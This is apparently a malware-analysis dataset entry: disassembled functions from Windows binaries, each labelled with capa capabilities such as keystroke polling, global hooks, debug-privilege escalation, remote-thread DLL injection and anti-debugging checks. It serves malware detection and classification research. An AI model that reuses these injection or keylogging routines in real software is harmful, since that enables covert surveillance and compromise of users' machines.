joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458090
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4580c8]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4580a9
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4580b8
or bl, 4
test esi, 0x20000000
je 0x4580c3
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x45e6e4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45e6f6
add esp, 0xfffffff0
call fcn.00403bb4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00425980
mov eax, dword [0x4bc4dc]
mov dword [eax + 4], ebx
mov dword [eax], 0x45ea88
mov eax, dword [0x4bc4f4]
mov dword [eax + 4], ebx
mov dword [eax], 0x45ea94
mov eax, ebx
call fcn.0045eaa0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x45af68
push eax
push 0
push 0
mov eax, dword [0x4bc764]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4273a0]
call fcn.00428ab4
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4273a0]
call fcn.00428ab4
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4273a0]
call fcn.00428ab4
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0045eec0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ed9c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ed9c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x45ed9c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45e833
call fcn.00403c0c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45eb80
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45ed2b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x45ed0c
mov dl, 1
mov eax, dword [0x41b230]
call fcn.00403820
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404740
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45ecfb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044bffc
test al, al
je 0x45ecee
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45ed3c
lea eax, [ebp - 0x254]
call fcn.00409ea4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45ecee
xor eax, eax
push ebp
push 0x45ece7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x45ed74
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x45ecd0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x45ecd0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ecee
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x45ebf1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041f858
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45ed32
lea eax, [ebp - 0x260]
call fcn.00404740
ret

Function at 0x45f660
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4bdc30]
cmp byte [eax + 0xa5], 0
jne 0x45f6d1
cmp dword [0x4bdc48], 0
jne 0x45f692
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x45f61c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4bdc48], eax
cmp dword [0x4bdc44], 0
jne 0x45f6ad
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4bdc44], eax
cmp dword [0x4bdc4c], 0
jne 0x45f6d1
push esp
push 0
push 0
push 0x45f5c0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4bdc4c], eax
pop edx
ret
Function at 0x45f810
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45f827
add esp, 0xfffffff0
call fcn.00403bb4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00425980
mov eax, dword [0x4bc748]
cmp word [eax + 2], 0
jne 0x45f84f
mov eax, dword [0x4bc748]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00460e5c
mov eax, dword [0x4bc8a0]
cmp word [eax + 2], 0
jne 0x45f869
mov eax, dword [0x4bc8a0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00461054
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41abcc]
call fcn.00403820
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x427e20]
call fcn.0042f1f0
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45f9f0
mov eax, dword [0x4bc5a0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042f5c0
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4615d4
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4bc5a0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040de14
test eax, eax
je 0x45f95e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004097ec
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040de3c
test eax, eax
je 0x45f972
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
mov eax, dword [0x4bc358]
cmp byte [eax], 0
jne 0x45f9a6
mov eax, ebx
call fcn.0045fb18
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.004617b0
mov eax, ebx
call fcn.00462160
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45f9e6
call fcn.00403c0c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45fd8c
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4bdc30]
cmp dword [eax + 0x30], 0
je 0x45fe36
cmp dword [ebx + 0x94], 0
jne 0x45fe30
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45fd1c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45fe30
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45fdf6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45fe30
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041d4c4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45fe05
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x460914
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x460949
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404830
jmp 0x460956
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404794
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x46198c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4619cd
mov eax, esi
call fcn.00447738
test al, al
je 0x4619cd
mov eax, dword [ebx + 0x84]
call fcn.00447434
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4619cd
push 0
mov eax, dword [ebx + 0x84]
call fcn.00447434
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x47e930
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x47e955
cmp dword [esp + 4], 5
jb 0x47e955
mov al, 1
jmp 0x47e957
xor eax, eax
add esp, 0x94
ret
Function at 0x48ffe8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.0048fd64
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404c00
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x490046
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4bc770]
mov dl, 1
mov eax, dword [0x48fc88]
call fcn.0040d20c
call fcn.004040e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x49643c
Capabilities:
Link many functions at runtime

Disassembly:
mov byte [0x4bb7b8], 0
mov eax, dword [0x4bcb04]
cmp dword [eax], 2
jne 0x496615
mov eax, dword [0x4bc5a8]
cmp dword [eax], 5
jl 0x496615
call fcn.004935d8
test al, al
jne 0x49646d
call fcn.004935e4
call fcn.004935d0
mov dword [0x4bb7c0], eax
push 0x496618
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb784], eax
cmp dword [0x4bb784], 0
jne 0x4964c8
mov edx, 0x8000
mov eax, 0x49662c
call fcn.0040eec0
mov dword [0x4bb7bc], eax
mov eax, dword [0x4bb7bc]
mov dword [0x4bb7c0], eax
push 0x496618
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb784], eax
cmp dword [0x4bb784], 0
je 0x496610
push 0x496638
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb788], eax
cmp dword [0x4bb788], 0
je 0x496610
push 0x496644
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb78c], eax
cmp dword [0x4bb78c], 0
je 0x496610
mov byte [0x4bb7b8], 1
push 0x496654
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb790], eax
push 0x496660
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb794], eax
push 0x49666c
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb798], eax
push 0x49667c
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb79c], eax
push 0x49668c
mov eax, dword [0x4bb7c0]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb7a0], eax
mov edx, 0x8000
mov eax, 0x4966a4
call fcn.0040eec0
mov dword [0x4bb7c4], eax
cmp dword [0x4bb7c4], 0
je 0x496615
push 0x4966b4
mov eax, dword [0x4bb7c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb7a4], eax
push 0x4966d0
mov eax, dword [0x4bb7c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb7a8], eax
push 0x4966f0
mov eax, dword [0x4bb7c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb7ac], eax
push 0x49670c
mov eax, dword [0x4bb7c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb7b0], eax
push 0x496724
mov eax, dword [0x4bb7c4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4bb7b4], eax
ret
call fcn.004963bc
ret
Function at 0x4a25a8
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov ebx, ecx
xor eax, eax
push ebp
push 0x4a27c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax], 5
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dl, byte [ebp + 0x10]
mov byte [eax + 1], dl
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 2], 0
lea edx, [ebp - 8]
mov eax, ebx
call fcn.00491d18
mov eax, dword [ebp - 8]
call fcn.00404a08
test eax, eax
jle 0x4a2680
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 3], 4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 4], 0x10
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov edx, ebx
mov eax, dword [0x49f4f0]
call fcn.0049f5f4
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a266e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4a2658
push 4
push 0x10
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.0049f590
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004916ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a2675
lea eax, [ebp - 4]
call fcn.0040edf4
ret
mov eax, dword [0x4bca00]
mov eax, dword [eax]
mov edx, ebx
call fcn.00499634
test al, al
je 0x4a2702
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 3], 1
mov edx, ebx
mov eax, dword [0x49f4f0]
call fcn.0049f5f4
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a26f0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4a26da
push 4
push 4
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.0049f590
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004916ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a26f7
lea eax, [ebp - 4]
call fcn.0040edf4
ret
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov byte [eax + 3], 3
mov eax, ebx
call fcn.00404a08
mov edx, dword [ebp + 0xc]
mov edx, dword [edx]
mov byte [edx + 4], al
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov eax, ebx
call fcn.00404a08
test eax, eax
jle 0x4a2755
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
mov eax, ebx
call fcn.00404a08
push eax
lea ecx, [ebp - 0x14]
mov dl, 1
mov eax, ebx
call fcn.004926a0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004916ec
mov eax, ebx
call fcn.00404a08
mov edx, dword [ebp + 8]
add dword [edx], eax
mov eax, dword [0x4bca00]
mov eax, dword [eax]
mov dx, word [ebp + 0x14]
mov ecx, dword [eax]
call dword [ecx + 0x30]
mov ebx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
push 2
lea edx, [ebp - 0x18]
mov eax, ebx
call fcn.00492860
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
xor edx, edx
call fcn.004916ec
mov eax, dword [ebp + 8]
add dword [eax], 2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a27c8
lea eax, [ebp - 0x18]
mov edx, dword [0x4910b4]
mov ecx, 4
call fcn.00405344
lea eax, [ebp - 8]
call fcn.00404740
ret
Function at 0x4b872c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], edx
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x238], edx
mov dword [ebp - 0x230], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b890c
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [0x4bf7ec]
mov eax, ebx
call fcn.004b8c20
test al, al
jne 0x4b878a
push 5
mov eax, dword [0x4bf7ec]
call fcn.00404c00
push eax
call sub.kernel32.dll_WinExec
mov edx, 0x4b8924
mov eax, ebx
call fcn.004b8c20
test al, al
jne 0x4b87a6
push 5
push 0x4b8934
call sub.kernel32.dll_WinExec
cmp dword [0x4bf7cc], 1
jne 0x4b88ee
mov byte [ebp - 5], 0
mov edx, 0x4b894c
mov eax, ebx
call fcn.004b8e04
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4b8845
mov edx, dword [ebp - 4]
mov eax, 8
call fcn.00490334
mov esi, eax
mov dword [ebp - 0x22c], 0x224
lea edx, [ebp - 0x22c]
mov eax, esi
call fcn.00490394
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4b883b
lea eax, [ebp - 0x230]
lea edx, [ebp - 0x20c]
mov ecx, pe_nt_image_headers32
call fcn.004049b8
mov eax, dword [ebp - 0x230]
mov edx, 0x4b8964
call fcn.00404b4c
jne 0x4b8828
mov byte [ebp - 5], 1
jmp 0x4b883f
lea edx, [ebp - 0x22c]
mov eax, esi
call fcn.004903b4
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4b87fa
push esi
call sub.kernel32.dll_CloseHandle_1
cmp byte [ebp - 5], 0
jne 0x4b88ee
lea edx, [ebp - 0x238]
mov eax, dword [0x4bc864]
mov eax, dword [eax]
call fcn.00461334
mov eax, dword [ebp - 0x238]
lea edx, [ebp - 0x234]
call fcn.0040961c
lea eax, [ebp - 0x234]
mov edx, 0x4b8964
call fcn.00404a10
mov eax, dword [ebp - 0x234]
call fcn.0040945c
test al, al
je 0x4b88ee
lea edx, [ebp - 0x240]
mov eax, dword [0x4bc864]
mov eax, dword [eax]
call fcn.00461334
mov eax, dword [ebp - 0x240]
lea edx, [ebp - 0x23c]
call fcn.0040961c
lea eax, [ebp - 0x23c]
mov edx, 0x4b8964
call fcn.00404a10
mov edx, dword [ebp - 0x23c]
mov ecx, dword [ebp - 4]
mov eax, ebx
call fcn.004b8f74
test al, al
je 0x4b88ee
mov eax, dword [ebx + 0x2f4]
mov eax, dword [eax + 0x220]
mov edx, 0x4b897c
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8913
lea eax, [ebp - 0x240]
mov edx, 5
call fcn.00404764
ret

Function at 0x4b8d90
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
add esp, 0xffffffe8
xor ebx, ebx
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
lea eax, [esp + 0xc]
push eax
push 0x4b8df0
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
je 0x4b8de9
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0x10
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
add esp, 0x18
pop ebx
ret
Function at 0x4b8f74
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov byte [ebp - 1], 0
mov eax, ebx
call fcn.004b8d90
test al, al
je 0x4b9072
push edi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x4b906b
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, esi
call fcn.00404a08
add eax, eax
inc eax
call fcn.00402808
mov ebx, eax
mov eax, esi
call fcn.00404a08
mov ecx, eax
add ecx, ecx
inc ecx
mov edx, ebx
mov eax, esi
call fcn.0040567c
push ebx
call sub.kernel32.dll_lstrlenW
inc eax
mov esi, eax
add esi, esi
push 4
push 0x1000
push esi
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
test edi, edi
je 0x4b9054
lea eax, [ebp - 0xc]
push eax
push esi
push ebx
push edi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4b9054
cmp esi, dword [ebp - 0xc]
jne 0x4b9054
xor eax, eax
mov dword [ebp - 0x10], eax
push 0x4b907c
push 0x4b908c
call sub.kernel32.dll_LoadLibraryA
push eax
call sub.kernel32.dll_GetProcAddress_1
lea edx, [ebp - 0x10]
push edx
push 0
push edi
push eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
je 0x4b904e
mov byte [ebp - 1], 1
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b9072
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x6d3f378d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x6d410030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x6d3f3830
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d4050f3
pop ecx
pop ecx
test eax, eax
je 0x6d3f3819
test ebx, ebx
je 0x6d3f380d
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.6d4050f3
pop ecx
pop ecx
test eax, eax
jle 0x6d3f3819
push ebx
call fcn.6d3f5895
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f5874
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x6d3f37da
xor edi, edi
cmp ebx, edi
jne 0x6d3f3834
xor eax, eax
jmp 0x6d3f38a0
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x6d3f3863
call fcn.6d3f5895
pop ecx
cmp dword [ebp - 0x70], edi
je 0x6d3f3830
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x6d3f3830
call fcn.6d3f5895
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d3f3853
cmp dword [ebp - 0x70], edi
je 0x6d3f3896
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d3f5874
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d3f8259
add ebp, 0x9c
leave
ret